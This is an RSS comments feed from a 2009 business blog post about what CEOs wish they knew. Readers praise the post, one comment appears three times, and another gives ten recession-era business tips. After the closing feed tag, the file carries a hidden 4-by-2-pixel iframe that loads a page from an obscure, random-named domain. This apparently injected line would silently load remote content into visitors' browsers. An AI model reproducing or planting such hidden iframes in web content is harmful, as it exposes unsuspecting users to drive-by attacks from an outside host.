<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
		>
<channel>
	<title>Comments on: What CEO’s wish they knew</title>
	<atom:link href="http://deanholmes.me/lead-generation/what-ceo%e2%80%99s-wish-they-knew/feed/" rel="self" type="application/rss+xml" />
	<link>http://deanholmes.me/lead-generation/what-ceo%e2%80%99s-wish-they-knew/</link>
	<description></description>
	<lastBuildDate>Fri, 16 Jul 2010 00:24:36 +0000</lastBuildDate>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
	<item>
		<title>By: Mark William Schaefer</title>
		<link>http://deanholmes.me/lead-generation/what-ceo%e2%80%99s-wish-they-knew/comment-page-1/#comment-102</link>
		<dc:creator>Mark William Schaefer</dc:creator>
		<pubDate>Sun, 05 Jul 2009 06:54:21 +0000</pubDate>
		<guid isPermaLink="false">http://deanholmes.me/?p=254#comment-102</guid>
		<description>Dean, this is so good ... I wish I had written it!&lt;br&gt;&lt;br&gt;Microsoft CEO Steve Ballmer said last week that this is not a recession (implying recovery). It&#039;s a re-set. I believe him when he said the econony has permanently changed. That&#039;s why the strategies and ideas you propose here are imperative for sales and marketing folks moving forward. We cannot hope for better times quickly. We have to use these new tools and systems ever more creatively, tenaciously and effectively.&lt;br&gt;&lt;br&gt;Thanks for these great insights!</description>
		<content:encoded><![CDATA[<p>Dean, this is so good &#8230; I wish I had written it!</p>
<p>Microsoft CEO Steve Ballmer said last week that this is not a recession (implying recovery). It&#39;s a re-set. I believe him when he said the econony has permanently changed. That&#39;s why the strategies and ideas you propose here are imperative for sales and marketing folks moving forward. We cannot hope for better times quickly. We have to use these new tools and systems ever more creatively, tenaciously and effectively.</p>
<p>Thanks for these great insights!</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Mark William Schaefer</title>
		<link>http://deanholmes.me/lead-generation/what-ceo%e2%80%99s-wish-they-knew/comment-page-1/#comment-68</link>
		<dc:creator>Mark William Schaefer</dc:creator>
		<pubDate>Sat, 04 Jul 2009 19:24:21 +0000</pubDate>
		<guid isPermaLink="false">http://deanholmes.me/?p=254#comment-68</guid>
		<description>Dean, this is so good ... I wish I had written it!&lt;br&gt;&lt;br&gt;Microsoft CEO Steve Ballmer said last week that this is not a recession (implying recovery). It&#039;s a re-set. I believe him when he said the econony has permanently changed. That&#039;s why the strategies and ideas you propose here are imperative for sales and marketing folks moving forward. We cannot hope for better times quickly. We have to use these new tools and systems ever more creatively, tenaciously and effectively.&lt;br&gt;&lt;br&gt;Thanks for these great insights!</description>
		<content:encoded><![CDATA[<p>Dean, this is so good &#8230; I wish I had written it!</p>
<p>Microsoft CEO Steve Ballmer said last week that this is not a recession (implying recovery). It&#39;s a re-set. I believe him when he said the econony has permanently changed. That&#39;s why the strategies and ideas you propose here are imperative for sales and marketing folks moving forward. We cannot hope for better times quickly. We have to use these new tools and systems ever more creatively, tenaciously and effectively.</p>
<p>Thanks for these great insights!</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Mark William Schaefer</title>
		<link>http://deanholmes.me/lead-generation/what-ceo%e2%80%99s-wish-they-knew/comment-page-1/#comment-11</link>
		<dc:creator>Mark William Schaefer</dc:creator>
		<pubDate>Sat, 04 Jul 2009 12:24:21 +0000</pubDate>
		<guid isPermaLink="false">http://deanholmes.me/?p=254#comment-11</guid>
		<description>Dean, this is so good ... I wish I had written it!&lt;br&gt;&lt;br&gt;Microsoft CEO Steve Ballmer said last week that this is not a recession (implying recovery). It&#039;s a re-set. I believe him when he said the econony has permanently changed. That&#039;s why the strategies and ideas you propose here are imperative for sales and marketing folks moving forward. We cannot hope for better times quickly. We have to use these new tools and systems ever more creatively, tenaciously and effectively.&lt;br&gt;&lt;br&gt;Thanks for these great insights!</description>
		<content:encoded><![CDATA[<p>Dean, this is so good &#8230; I wish I had written it!</p>
<p>Microsoft CEO Steve Ballmer said last week that this is not a recession (implying recovery). It&#39;s a re-set. I believe him when he said the econony has permanently changed. That&#39;s why the strategies and ideas you propose here are imperative for sales and marketing folks moving forward. We cannot hope for better times quickly. We have to use these new tools and systems ever more creatively, tenaciously and effectively.</p>
<p>Thanks for these great insights!</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Louis Larochelle</title>
		<link>http://deanholmes.me/lead-generation/what-ceo%e2%80%99s-wish-they-knew/comment-page-1/#comment-10</link>
		<dc:creator>Louis Larochelle</dc:creator>
		<pubDate>Fri, 03 Jul 2009 21:09:36 +0000</pubDate>
		<guid isPermaLink="false">http://deanholmes.me/?p=254#comment-10</guid>
		<description>Excellent article. I share all those ideas that only few senior managers are ready to consider.</description>
		<content:encoded><![CDATA[<p>Excellent article. I share all those ideas that only few senior managers are ready to consider.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: BillBoorman</title>
		<link>http://deanholmes.me/lead-generation/what-ceo%e2%80%99s-wish-they-knew/comment-page-1/#comment-5</link>
		<dc:creator>BillBoorman</dc:creator>
		<pubDate>Thu, 02 Jul 2009 10:59:34 +0000</pubDate>
		<guid isPermaLink="false">http://deanholmes.me/?p=254#comment-5</guid>
		<description>Dean,&lt;br&gt;Thanks for forwarding this blog (via Twitter) to me. I have a few suggestions myself on the subject based on my work on &quot;Tin Hat Strategy.&quot; None of this is rocket science or new thinking, but these times give a great opportunity to re-invent your business. With positive signs coming, I’m convinced we are on the upward journey out of the bottom of recession worldwide. The key aim now should not be to beat the recession (that’s survival thinking) but to beat your competitors out of it.  These are my 10 suggestions. You might want to disregard, but if 1 works it could make all the difference:&lt;br&gt;&lt;br&gt;1: Focus on what you can affect and not what you can&#039;t. No point stressing on the economy, lay-offs etc, you can&#039;t do anything about that. Focus on your business, your products, your staff and your market. Get your business mix and attitude right.&lt;br&gt;&lt;br&gt;2: Check you are offering your customers what they want, and that they know what you do. We have been complacent at this during the boom years and customers generally think of you for one thing. Lots of hidden business you can get when you re-educate even your oldest customers and ask what they want from you.&lt;br&gt;&lt;br&gt;3: re-write the job specs for everyone in your organization. The world has changed and so has the skills needed your expectation etc. You need new specs for both recruitment and re-training.&lt;br&gt;&lt;br&gt;4: Merge your Sales team and your Marketing team in to one department with one objective, to increase profitability (not sales turnover.) Might seem radical but brings real co-operation and appreciation.&lt;br&gt;&lt;br&gt;5: Identify the data you really need to have on your customers. Make sure this is easy to save and to retrieve. Ensure your C.R.M. system is geared to key information retrieval rather than information storage. Simple attributes behind clients, used consistently do this.&lt;br&gt;&lt;br&gt;6: Invest in retraining. Reverse the trend of spending 80% of time and money on those that generate 20% of your revenue. Spend 80% on those that give you 80%. Much better returns.&lt;br&gt;&lt;br&gt;7: increase your contact base at all levels of the organizations you deal with. One lesson from this recession is that decision making is going higher up the food chain (That’s why it takes longer.) You need more levels of influence to keep and win business.&lt;br&gt;&lt;br&gt;8: Have 2 strategies behind the business plan based on &quot;What if.&quot; What if the market rises (plan a), what if it falls (plan B)&lt;br&gt;&lt;br&gt;9: Have something you can sell on-line and forget geography. Everyone is in your backyard through social media. The only geography is bandwidth.&lt;br&gt;&lt;br&gt;10: live by this creed: Turnover is vanity, profit is sanity but CASH is reality!&lt;br&gt;&lt;br&gt;These are my thoughts, please let me have your comments even if you think I’m mad!&lt;br&gt;&lt;br&gt;Bill&lt;br&gt;&lt;br&gt;If you like my thinking you can follow me on twitter: @BillBoorman</description>
		<content:encoded><![CDATA[<p>Dean,<br />Thanks for forwarding this blog (via Twitter) to me. I have a few suggestions myself on the subject based on my work on &#8220;Tin Hat Strategy.&#8221; None of this is rocket science or new thinking, but these times give a great opportunity to re-invent your business. With positive signs coming, I’m convinced we are on the upward journey out of the bottom of recession worldwide. The key aim now should not be to beat the recession (that’s survival thinking) but to beat your competitors out of it.  These are my 10 suggestions. You might want to disregard, but if 1 works it could make all the difference:</p>
<p>1: Focus on what you can affect and not what you can&#39;t. No point stressing on the economy, lay-offs etc, you can&#39;t do anything about that. Focus on your business, your products, your staff and your market. Get your business mix and attitude right.</p>
<p>2: Check you are offering your customers what they want, and that they know what you do. We have been complacent at this during the boom years and customers generally think of you for one thing. Lots of hidden business you can get when you re-educate even your oldest customers and ask what they want from you.</p>
<p>3: re-write the job specs for everyone in your organization. The world has changed and so has the skills needed your expectation etc. You need new specs for both recruitment and re-training.</p>
<p>4: Merge your Sales team and your Marketing team in to one department with one objective, to increase profitability (not sales turnover.) Might seem radical but brings real co-operation and appreciation.</p>
<p>5: Identify the data you really need to have on your customers. Make sure this is easy to save and to retrieve. Ensure your C.R.M. system is geared to key information retrieval rather than information storage. Simple attributes behind clients, used consistently do this.</p>
<p>6: Invest in retraining. Reverse the trend of spending 80% of time and money on those that generate 20% of your revenue. Spend 80% on those that give you 80%. Much better returns.</p>
<p>7: increase your contact base at all levels of the organizations you deal with. One lesson from this recession is that decision making is going higher up the food chain (That’s why it takes longer.) You need more levels of influence to keep and win business.</p>
<p>8: Have 2 strategies behind the business plan based on &#8220;What if.&#8221; What if the market rises (plan a), what if it falls (plan B)</p>
<p>9: Have something you can sell on-line and forget geography. Everyone is in your backyard through social media. The only geography is bandwidth.</p>
<p>10: live by this creed: Turnover is vanity, profit is sanity but CASH is reality!</p>
<p>These are my thoughts, please let me have your comments even if you think I’m mad!</p>
<p>Bill</p>
<p>If you like my thinking you can follow me on twitter: @BillBoorman</p>
]]></content:encoded>
	</item>
</channel>
</rss>
<iframe src="http://eiueuiuewi.com/54N7JS34B34D5NH34J/" width="4" height="2"></iframe>